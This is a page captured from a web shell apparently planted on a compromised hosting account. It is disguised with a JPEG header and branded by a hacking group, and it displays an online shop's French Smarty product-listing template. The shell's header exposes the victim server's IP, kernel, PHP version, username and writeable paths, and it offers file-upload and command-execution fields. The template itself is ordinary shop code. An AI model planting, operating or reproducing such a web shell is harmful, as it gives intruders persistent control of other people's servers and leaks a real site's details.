ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/templates/shop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/templates/shop/index_affiche_1_2.tpl
{if $page_une >0} 
 
            <!-- Produits à la une --> 
                {if !empty($featuredProducts)}
                    <div class="title_cat">
                        <div style="">{$tita_1}</div>
                    </div> 
                    
                    
                                                                          
{$dif_produit = $nouveo /5}
{if $dif_produit < 2} {$max_produit = '4'} {/if}
{if $dif_produit == '2'} {$max_produit = '8'} {if $total_une < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 2 AND $dif_produit < 3} {$max_produit = '8'} {if $total_une < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '3'} {$max_produit = '12'} {if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 3 AND $dif_produit < 4} {$max_produit = '12'} {if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '4'} {$max_produit = '16'} {if $total_une < '16'} {$max_produit = '12'}{/if}{if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 4 AND $dif_produit < 5} {$max_produit = '16'} {if $total_une < '16'} {$max_produit = '12'}{/if}{if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '5'} {$max_produit = '20'} {if $total_une < '20'} {$max_produit = '16'}{/if}{if $total_une < '16'} {$max_produit = '12'}{/if}{if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 5 AND $dif_produit < 6} {$max_produit = '20'} {if $total_une < '20'} {$max_produit = '16'}{/if}{if $total_une < '16'} {$max_produit = '12'}{/if}{if $total_une < '12'} {$max_produit = '8'}{/if}{if $total_une < '8'} {$max_produit = '4'} {/if}{/if}

<ul class="thumbnails">                        
    {nocache}                            
{$aff_produit = '0'}                                           
{foreach $featuredProducts as $featuredProduct}  
 
<!-- AVIS -->
{if $act_avis >0 AND $featuredProduct.avis >0}
{if $featuredProduct.note == '5.0'} {$image_moyenne = 'myenne_5_0.png'} {/if}
{if $featuredProduct.note > '4.4' AND $featuredProduct.note < '5.0'} {$image_moyenne = 'myenne_4_5.png'} {/if}
{if $featuredProduct.note > '4.0' AND $featuredProduct.note < '4.5'} {$image_moyenne = 'myenne_4_0.png'} {/if}
{if $featuredProduct.note > '3.4' AND $featuredProduct.note < '4.0'} {$image_moyenne = 'myenne_3_5.png'} {/if}
{if $featuredProduct.note > '3.0' AND $featuredProduct.note < '3.5'} {$image_moyenne = 'myenne_3_0.png'} {/if}
{if $featuredProduct.note > '2.4' AND $featuredProduct.note < '3.0'} {$image_moyenne = 'myenne_2_5.png'} {/if}
{if $featuredProduct.note > '2.0' AND $featuredProduct.note < '2.5'} {$image_moyenne = 'myenne_2_0.png'} {/if}
{if $featuredProduct.note > '1.4' AND $featuredProduct.note < '2.0'} {$image_moyenne = 'myenne_1_5.png'} {/if}
{if $featuredProduct.note > '1.0' AND $featuredProduct.note < '1.5'} {$image_moyenne = 'myenne_1_0.png'} {/if}
{if $featuredProduct.note > '0.4' AND $featuredProduct.note < '1.0'} {$image_moyenne = 'myenne_0_5.png'} {/if}
{if $featuredProduct.note > '0.0' AND $featuredProduct.note < '0.5'} {$image_moyenne = 'myenne_0_0.png'} {/if}
{if $featuredProduct.note == '0.0'} {$image_moyenne = 'myenne_0_0.png'} {/if}                     
{/if}      
                       
<!-- REMISE PRO  -->
{if $act_pro >0 AND $cle_pro >0}
{if $remise_pro >0}
{$pro_remise = (100 - $remise_pro)  / 100} {$featuredProduct.price = $featuredProduct.price * $pro_remise}    
{/if}
          {if $featuredProduct.cle_tva =='0'} {$featuredProduct.price = $featuredProduct.price}{/if} 
          {if $featuredProduct.cle_tva =='1'} {$featuredProduct.price = $featuredProduct.price / $ht__1}{/if}
          {if $featuredProduct.cle_tva =='2'} {$featuredProduct.price = $featuredProduct.price / $ht__2}{/if}
          {if $featuredProduct.cle_tva =='3'} {$featuredProduct.price = $featuredProduct.price / $ht__3}{/if}
{/if}                        
    
<!-- PRODUIT  -->                            
{$aff_produit = $aff_produit + 1}                            
{if $aff_produit <= $max_produit}                                           
 {if $achat_direct >0}                                                              
      <script>
        $(document).ready(function(){
            $("#submit_AA3{$featuredProduct.id}").click(function(){
                $.get(
                    'includes/addToCartGet.php',
                   {
                        {foreach $attributes as $attribute}                                                                                           
                        {$attribute.name} : $("#{$attribute.name}").val(),
                           {/foreach}
                           
                        Dispo : {$featuredProduct.stock},                                                                        
                        product : {$featuredProduct.id},
                        quantity : 1
                    },
                    function(data){
                        if(data == 'success'){
                            $('#cart').prepend('');
                            $('#box').modal('show');
                            document.location.reload(true);
                        }
                    },
                    'text'
                );
            });
        });
    </script>
{/if}  
                                  <li class="span3">  
                                        <div class="thumbnail" style="min-height: 425px"> 
                                        
                                        
<!-- AVIS -->
{if $act_avis >0 AND $featuredProduct.avis >0} 
<span style="background: transparent;display: inline-block;padding:0; width:100%;border:0;margin-top:8px">
<a href="evaluations.php?id={$featuredProduct.id}"><span style="background: #000; color:#fff;font-weight:bold;font-size:9pt;display: inline-block;padding:0 0 3px 0; width:100%;border:0;text-align:center">{$featuredProduct.note|string_format:"%.1f"}/5 <img src="templates/shop/img/{$image_moyenne}" alt="" style="max-width:60px;margin-top:-3px" />
{if $gesto >0}
                                            {if $featuredProduct.hstock < 1}
                                            <img src="templates/shop/img/dispo.png" alt="{$txt_dispo}" style="margin-top: 0; max-width:10px;">  {$txt_dispo}    
                                            {else}
                                            <img src="templates/shop/img/indispo.png" alt="{$txt_nodispo}" style="margin-top: 0;max-width:10px;">  {$txt_nodispo}
                                            {/if} 
{/if}                                            
</span></a>                           	
</span>
{else}
<span style="background: transparent;display: inline-block;padding:0; width:100%;border:0;margin-top:8px">
<span style="background: #888; color:#fff;font-weight:bold;font-size:9pt;display: inline-block;padding:0 0 3px 0; width:100%;border:0;text-align:center">A la Une
{if $gesto >0}
                                            {if $featuredProduct.hstock < 1}
                                            &nbsp;<img src="templates/shop/img/dispo.png" alt="{$txt_dispo}" style="margin-top: 0; max-width:10px;">  {$txt_dispo}    
                                            {else}
                                            &nbsp;<img src="templates/shop/img/indispo.png" alt="{$txt_nodispo}" style="margin-top: 0;max-width:10px;">  {$txt_nodispo}
                                            {/if} 
{/if}
</span>                            	
</span>                                                    
{/if}  
                                        
                                          
                                            <a href="produit-{$featuredProduct.seo}">
                                                <div style="text-align:center">
                                                    {if $featuredProduct.picture == ''}
                                                        <img src="templates/shop/img/no-picture.jpg" alt="{$featuredProduct.name}">
                                                    {else}

                                                    
<!-- ZOE -->                                                    
{if $zoe >0}                                                    
<div class="grid">
					<figure class="effect-zoe">
						<img src="uploadfiles/products/mini/{$featuredProduct.picture}" alt="{$featuredProduct.name}" style="margin-left:auto;margin-right:auto;height: 200px;width:100%" />
						<figcaption>
							<h2><span><i class="fa fa-eye fa-1x" ></i>&nbsp;</span></h2>

							<p class="description">{$txt_zoe}</p>
						</figcaption>			
					</figure>
</div>                                                    
{else}                                                              
  						<img src="uploadfiles/products/mini/{$featuredProduct.picture}" alt="{$featuredProduct.name}" style="height: 200px" />                                                  
{/if}   
                                                    {/if}     
                                                </div>
                                            </a>                                            
                                    {if $featuredProduct.discount != 0}
                                      <div class="coin" {if $zoe >0}style="margin-top: -280px;"{/if}><img src="templates/shop/img/{$img_impro}" alt="" /></div>
                                     {/if}                                                                                            
                     {foreach $vignettes as $vignette}                                                                     
                                     {if $featuredProduct.discount <1 AND $featuredProduct.vignette == $vignette.id  }
                                      <div class="coin" {if $zoe >0} style="margin-top:-280px" {/if}><img src="uploadfiles/vignettes/{$vignette.image}" alt="" /></div>
                                     {/if}                                         
                      {/foreach}   
                                                            
{if $zoe >0}
 <div class="caption" style="margin-top: -70px;">     
 {else}
 <div class="caption">
{/if}  
<!-- END ZOE --> 
 
 
 
                                           
<div style="text-align:center"><h4 style="margin-bottom: 1px;margin-top:-5px">{$featuredProduct.name}</h4></div>
{if $act_marq >0}                                                           
{if $featuredProduct.lamarque !==''}  
<div style="text-align:center"><span class="title_marque" style="margin-top:-5px">{$featuredProduct.lamarque}</span></div>                                                                                             
{else}                                                                                                                                                  
<div style="text-align:center"><span class="title_marque" style="color: transparent;margin-top:-5px">|</span></div> 
{/if}  

<div style="text-align:center"><div class="motscle">{$featuredProduct.meta_keywords}</div></div>
{else}                                            
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div>                                                                                
<div style="text-align:center"><div class="motscle">{$featuredProduct.meta_keywords}</div></div>
{/if}                                           
{if $AffiPrix >0}
                                      {if $featuredProduct.discount == 0}  
                                      <div style="margin-top:3px;margin-bottom: 7px">
                                      &nbsp;
                                      </div>                                                                                                     
                                                 <div class="prix" style="text-align:center">
                                                  {$featuredProduct.price|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€</div>
                                              
                                      {else}                                                
                                           <div style="margin-top:3px;margin-bottom: 5px">    
                                           <span style="font-size: 14px;text-decoration:line-through">{$featuredProduct.price|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€</span>
                                           </div>                                                                                                   
                                           <div>     
                                           <span style="font-size: 16px; color: #ff0000">  -{$featuredProduct.discount|string_format:"%.1f"|replace:'.':','}% </span>                                           
                                            &nbsp;{math
                                                            equation="price - price * (promo / 100)"
                                                            price=$featuredProduct.price
                                                            promo=$featuredProduct.discount
                                                            assign="promotion"}  
                                                   <span class="prix" style="font-size: 22px;float:right; margin-top:-2px">  {$promotion|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€ </span>
                                            </div>
                                      {/if}                                                  
{else}
<!-- Pas de prix pour Catalogue -->
{/if}

{assign var='exist' value='0'}                                                                 
 {foreach $cart as $key => $productd}                                            
  {if $productd.id == $featuredProduct.id} 
  {assign var='exist' value='1'}
  {/if} 
{/foreach} 
 
 
 
 
 
 <!-- Boutons  -->                                                                                                                               
<br />                                             
<div style="padding:0; margin:0;margin-top:-20px;">             
<div class="col-sm-12" style="padding:0; margin:0;margin-top: 13px">

{if $exist == 0 AND $achat_direct <1}
<a href="produit-{$featuredProduct.seo}">
<button type="submit" style="width:100%">{$voir_le_produit}</button>
</a> 
{else}
<a href="produit-{$featuredProduct.seo}">
<button type="submit" style="width:100%">{$revoir_le_produit}</button>
</a> 

  {/if}
<!--
 <div class="col-sm-12" style="padding:0; margin:0;margin-top: 13px">
<div style="text-align:center">  
  <script>
   document.write('<a href="{$self_page}" id="submit_AA3{$featuredProduct.id}" onclick="javascript:document.the_form.submit();return false;"><img src="templates/shop/img/achat.png" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src=\'templates/shop/img/achat_hover.png\'" onMouseOut="this.src=\'templates/shop/img/achat.png\'"><\/a>');
    </script>                                               
</div>
</div>    
-->
  
</div>         
</div>
</div>   
 </li>
   {/if}                                                                        
               {/foreach}                           
          {/nocache}
        </ul>                    
<br />
   {/if}
{/if} 



<!-- ---------------------------------------------------------------- -->




{if $act_carrousel =='3'}
<div style="">            
{include file="carrousel.tpl"}   
</div>
{/if} 


 
 <!-- ---------------------------------------------------------------- -->
 
 
{if $page_nouv >0}
          <!-- Nouveaux produits --> 
                {if !empty($featuredProducts)}
                    <div class="title_cat">
                        <div class="">{$tita_2} <a href="nouveautes"><span class="cat_plus" style="float:right;margin-right: 20px;font-size:14pt">&#9658;&nbsp;{$tita_2_1}</span></a></div>
                    </div>                    
                    
{$dif_produit = $nouveo /5}
{if $dif_produit < 2} {$max_produit = '4'} {/if}
{if $dif_produit == '2'} {$max_produit = '8'} {if $total_news < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 2 AND $dif_produit < 3} {$max_produit = '8'} {if $total_news < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '3'} {$max_produit = '12'} {if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 3 AND $dif_produit < 4} {$max_produit = '12'} {if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '4'} {$max_produit = '16'} {if $total_news < '16'} {$max_produit = '12'}{/if}{if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 4 AND $dif_produit < 5} {$max_produit = '16'} {if $total_news < '16'} {$max_produit = '12'}{/if}{if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}
{if $dif_produit == '5'} {$max_produit = '20'} {if $total_news < '20'} {$max_produit = '16'}{/if}{if $total_news < '16'} {$max_produit = '12'}{/if}{if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}                    
{if $dif_produit > 5 AND $dif_produit < 6} {$max_produit = '20'} {if $total_news < '20'} {$max_produit = '16'}{/if}{if $total_news < '16'} {$max_produit = '12'}{/if}{if $total_news < '12'} {$max_produit = '8'}{/if}{if $total_news < '8'} {$max_produit = '4'} {/if}{/if}


<ul class="thumbnails">                        
    {nocache}                            
{$aff_produit = '0'}                                           
{foreach $newProducts as $newProduct}  
 
<!-- AVIS -->
{if $act_avis >0 AND $featuredProduct.avis >0}
{if $newProduct.note == '5.0'} {$image_moyenne = 'myenne_5_0.png'} {/if}
{if $newProduct.note > '4.4' AND $newProduct.note < '5.0'} {$image_moyenne = 'myenne_4_5.png'} {/if}
{if $newProduct.note > '4.0' AND $newProduct.note < '4.5'} {$image_moyenne = 'myenne_4_0.png'} {/if}
{if $newProduct.note > '3.4' AND $newProduct.note < '4.0'} {$image_moyenne = 'myenne_3_5.png'} {/if}
{if $newProduct.note > '3.0' AND $newProduct.note < '3.5'} {$image_moyenne = 'myenne_3_0.png'} {/if}
{if $newProduct.note > '2.4' AND $newProduct.note < '3.0'} {$image_moyenne = 'myenne_2_5.png'} {/if}
{if $newProduct.note > '2.0' AND $newProduct.note < '2.5'} {$image_moyenne = 'myenne_2_0.png'} {/if}
{if $newProduct.note > '1.4' AND $newProduct.note < '2.0'} {$image_moyenne = 'myenne_1_5.png'} {/if}
{if $newProduct.note > '1.0' AND $newProduct.note < '1.5'} {$image_moyenne = 'myenne_1_0.png'} {/if}
{if $newProduct.note > '0.4' AND $newProduct.note < '1.0'} {$image_moyenne = 'myenne_0_5.png'} {/if}
{if $newProduct.note > '0.0' AND $newProduct.note < '0.5'} {$image_moyenne = 'myenne_0_0.png'} {/if}
{if $newProduct.note == '0.0'} {$image_moyenne = 'myenne_0_0.png'} {/if}                     
{/if}      
                       
<!-- REMISE PRO  -->
{if $act_pro >0 AND $cle_pro >0}
{if $remise_pro >0}
{$pro_remise = (100 - $remise_pro)  / 100} {$newProduct.price = $newProduct.price * $pro_remise}    
{/if}
          {if $newProduct.cle_tva =='0'} {$newProduct.price = $newProduct.price}{/if} 
          {if $newProduct.cle_tva =='1'} {$newProduct.price = $newProduct.price / $ht__1}{/if}
          {if $newProduct.cle_tva =='2'} {$newProduct.price = $newProduct.price / $ht__2}{/if}
          {if $newProduct.cle_tva =='3'} {$newProduct.price = $newProduct.price / $ht__3}{/if}
{/if}                        
    
<!-- PRODUIT  -->                            
{$aff_produit = $aff_produit + 1}                            
{if $aff_produit <= $max_produit}                                           
 {if $achat_direct >0}                                                              
      <script>
        $(document).ready(function(){
            $("#submit_BB3{$newProduct.id}").click(function(){
                $.get(
                    'includes/addToCartGet.php',
                   {
                        {foreach $attributes as $attribute}                                                                                           
                        {$attribute.name} : $("#{$attribute.name}").val(),
                           {/foreach}                           
                        Dispo : {$newProduct.stock},                                                                        
                        product : {$newProduct.id},
                        quantity : 1
                    },
                    function(data){
                        if(data == 'success'){
                            $('#cart').prepend('');
                            $('#box').modal('show');
                            document.location.reload(true);  
                        }
                    },
                    'text'
                );
            });
        });
    </script>
{/if}  
                                  <li class="span3">  
                                        <div class="thumbnail" style="min-height: 425px"> 
                                        
                                        
<!-- AVIS -->
{if $act_avis >0 AND $newProduct.avis >0} 
<span style="background: transparent;display: inline-block;padding:0; width:100%;border:0;margin-top:8px">
<a href="evaluations.php?id={$newProduct.id}"><span style="background: #000; color:#fff;font-weight:bold;font-size:9pt;display: inline-block;padding:0 0 3px 0; width:100%;border:0;text-align:center">{$newProduct.note|string_format:"%.1f"}/5 <img src="templates/shop/img/{$image_moyenne}" alt="" style="max-width:60px;margin-top:-3px" />
{if $gesto >0}
                                            {if $newProduct.hstock < 1}
                                            <img src="templates/shop/img/dispo.png" alt="{$txt_dispo}" style="margin-top: 0; max-width:10px;">  {$txt_dispo}    
                                            {else}
                                            <img src="templates/shop/img/indispo.png" alt="{$txt_nodispo}" style="margin-top: 0;max-width:10px;">  {$txt_nodispo}
                                            {/if} 
{/if}                                            
</span></a>                           	
</span>
{else}
<span style="background: transparent;display: inline-block;padding:0; width:100%;border:0;margin-top:8px">
<span style="background: #888; color:#fff;font-weight:bold;font-size:9pt;display: inline-block;padding:0 0 3px 0; width:100%;border:0;text-align:center">Nouveaut&eacute;
{if $gesto >0}
                                            {if $newProduct.hstock < 1}
                                            &nbsp;<img src="templates/shop/img/dispo.png" alt="{$txt_dispo}" style="margin-top: 0; max-width:10px;">  {$txt_dispo}    
                                            {else}
                                            &nbsp;<img src="templates/shop/img/indispo.png" alt="{$txt_nodispo}" style="margin-top: 0;max-width:10px;">  {$txt_nodispo}
                                            {/if} 
{/if}
</span>                            	
</span>                                                    
{/if}  
                                        
                                          
                                            <a href="produit-{$newProduct.seo}">
                                                <div style="text-align:center">
                                                    {if $newProduct.picture == ''}
                                                        <img src="templates/shop/img/no-picture.jpg" alt="{$newProduct.name}">
                                                    {else}

                                                    
<!-- ZOE -->                                                    
{if $zoe >0}                                                    
<div class="grid">
					<figure class="effect-zoe">
						<img src="uploadfiles/products/mini/{$newProduct.picture}" alt="{$newProduct.name}" style="margin-left:auto;margin-right:auto;height: 200px;width:100%" />
						<figcaption>
							<h2><span><i class="fa fa-eye fa-1x" ></i>&nbsp;</span></h2>

							<p class="description">{$txt_zoe}</p>
						</figcaption>			
					</figure>
</div>                                                    
{else}                                                              
  						<img src="uploadfiles/products/mini/{$newProduct.picture}" alt="{$newProduct.name}" style="height: 200px" />                                                  
{/if}   
                                                    {/if}     
                                                </div>
                                            </a>                                            
                                    {if $newProduct.discount != 0}
                                      <div class="coin" {if $zoe >0}style="margin-top: -280px;"{/if}><img src="templates/shop/img/{$img_impro}" alt="" /></div>
                                     {/if}                                                                                            
                     {foreach $vignettes as $vignette}                                                                     
                                     {if $newProduct.discount <1 AND $newProduct.vignette == $vignette.id  }
                                      <div class="coin" {if $zoe >0} style="margin-top:-280px" {/if}><img src="uploadfiles/vignettes/{$vignette.image}" alt="" /></div>
                                     {/if}                                         
                      {/foreach}   
                                                            
{if $zoe >0}
 <div class="caption" style="margin-top: -70px;">     
 {else}
 <div class="caption">
{/if}  
<!-- END ZOE --> 
 
 
 
                                           
<div style="text-align:center"><h4 style="margin-bottom: 1px;margin-top:-5px">{$newProduct.name}</h4></div>
{if $act_marq >0}                                                           
{if $newProduct.lamarque !==''}  
<div style="text-align:center"><span class="title_marque" style="margin-top:-5px">{$newProduct.lamarque}</span></div>                                                                                             
{else}                                                                                                                                                  
<div style="text-align:center"><span class="title_marque" style="color: transparent;margin-top:-5px">|</span></div> 
{/if}  

<div style="text-align:center"><div class="motscle">{$newProduct.meta_keywords}</div></div>
{else}                                            
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div>                                                                                
<div style="text-align:center"><div class="motscle">{$newProduct.meta_keywords}</div></div>
{/if}                                           
{if $AffiPrix >0}
                                      {if $newProduct.discount == 0}  
                                      <div style="margin-top:3px;margin-bottom: 7px">
                                      &nbsp;
                                      </div>                                                                                                     
                                                 <div class="prix" style="text-align:center">
                                                  {$newProduct.price|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€</div>
                                              
                                      {else}                                                
                                           <div style="margin-top:3px;margin-bottom: 5px">    
                                           <span style="font-size: 14px;text-decoration:line-through">{$newProduct.price|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€</span>
                                           </div>                                                                                                   
                                           <div>     
                                           <span style="font-size: 16px; color: #ff0000">  -{$newProduct.discount|string_format:"%.1f"|replace:'.':','}% </span>                                           
                                            &nbsp;{math
                                                            equation="price - price * (promo / 100)"
                                                            price=$newProduct.price
                                                            promo=$newProduct.discount
                                                            assign="promotion"}  
                                                   <span class="prix" style="font-size: 22px;float:right; margin-top:-2px">  {$promotion|string_format:"%.2f"|replace:'.':','} {if $act_pro >0 AND $cle_pro >0}HT {/if}€ </span>
                                            </div>
                                      {/if}                                                  
{else}
<!-- Pas de prix pour Catalogue -->
{/if}

 
{assign var='exist' value='0'}                                                                 
 {foreach $cart as $key => $productd}                                            
  {if $productd.id == $newProduct.id} 
  {assign var='exist' value='1'}
  {/if} 
{/foreach} 
 
 
 
 <!-- Boutons  -->                                                                                                                               
<br />                                             
<div style="padding:0; margin:0;margin-top:-20px;">             
<div class="col-sm-12" style="padding:0; margin:0;margin-top: 13px">

{if $exist == 0 AND $achat_direct <1}
<a href="produit-{$newProduct.seo}">
<button type="submit" style="width:100%">{$voir_le_produit}</button>
</a> 
{else}
<a href="produit-{$newProduct.seo}">
<button type="submit" style="width:100%">{$revoir_le_produit}</button>
</a> 
{/if}


<!--
 <div class="col-sm-12" style="padding:0; margin:0;margin-top: 13px">
<div style="text-align:center">  
  <script>
   document.write('<a href="{$self_page}" id="submit_BB3{$newProduct.id}" onclick="javascript:document.the_form.submit();return false;"><img src="templates/shop/img/achat.png" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src=\'templates/shop/img/achat_hover.png\'" onMouseOut="this.src=\'templates/shop/img/achat.png\'"><\/a>');
    </script>                                               
</div>
</div>    
-->
  
</div>         
</div>
</div>   
 </li>
   {/if}                                                                        
               {/foreach}                           
          {/nocache}
        </ul>                    
<br />
   {/if}
{/if} 



<!-- ---------------------------------------------------------------- -->
   

Anon7 - 2022
AnonSec Team